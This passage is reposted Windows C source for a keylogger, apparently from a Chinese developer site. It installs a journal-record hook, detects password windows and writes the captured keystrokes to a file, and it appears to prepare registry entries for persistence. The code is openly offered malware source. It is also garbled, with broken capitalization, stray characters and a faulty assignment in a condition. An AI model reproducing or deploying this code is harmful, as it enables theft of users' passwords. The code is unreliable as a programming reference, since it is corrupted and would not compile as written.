lpStr = GetKey (LOBYTE (nKey)); WriteFile (hFile, & lpStr, 1, & dwBytesWrite, 0); CloseHandle (hFile);} void WINAPI InstallHook (HINSTANCE hInstance) {if (hHook == NULL) hHook = SetWindowsHookEx (WH_JOURNALRECORD, (HOOKPROC) JournalRecordProc, hInstance, 0);} void WINAPI UninstallHook () {if (hHook = NULL) UnhookWindowsHookEx (hHook);!} LRESULT CALLBACK JournalRecordProc (int nCode, WPARAM wParam, LPARAM lParam) {EVENTMSG * pMess = (EVENTMSG *) lParam; POINT pt; switch (pMess-> message) {case WM_KEYDOWN: if (IsPassWindow ()) WritePassFile (LOBYTE (pMess-> paramL)); break; case WM_LBUTTONDBLCLK: GetCursorPos (& pt); break;} return CallNextHookEx (hHook, nCode, wParam, lParam);} int WINAPI WinMain (hINSTANCE hInstance, hINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) {HANDLE hMutex = CreateMutex (NULL, FALSE, "GMKRunOnlyOne"); if (hMutex == NULL || ERROR_ALREADY_EXISTS == GetLastError ()) {ExitProcess (1);} static char szAppName [] = "jiajia"; HWND hwnd; MSG msg; WNDCLASSEX wndclass; HKEY hKey = 0; DWORD disp = 0; LONG lResult; TCHAR szKey [MAX_PATH ]; Tchar Szsysdir [MAX_PATH 25 ]; TCHAR szFileName [MAX_PATH]; wndclass.cbSize = sizeof (wndclass); wndclass.style = CS_HREDRAW | CS_VREDRAW; wndclass.lpfnWndProc = WndProc; wndclass.cbClsExtra = 0; wndclass.cbWndExtra = 0; wndclass.hInstance = hInstance; wndclass .hIcon = LoadIcon (NULL, IDI_APPLICATION); wndclass.hCursor = LoadCursor (NULL, IDC_ARROW); wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH); wndclass.lpszMenuName = NULL; wndclass.lpszClassName = szAppName; wndclass.hIconSm = LoadIcon (NULL, IDI_Application); RegisterClassex (& Wndclass); hWnd = CREATEWINDOW (Szappname, "Jia Jia"

转载请注明原文地址:https://www.9cbs.com/read-22514.html

New Post(0)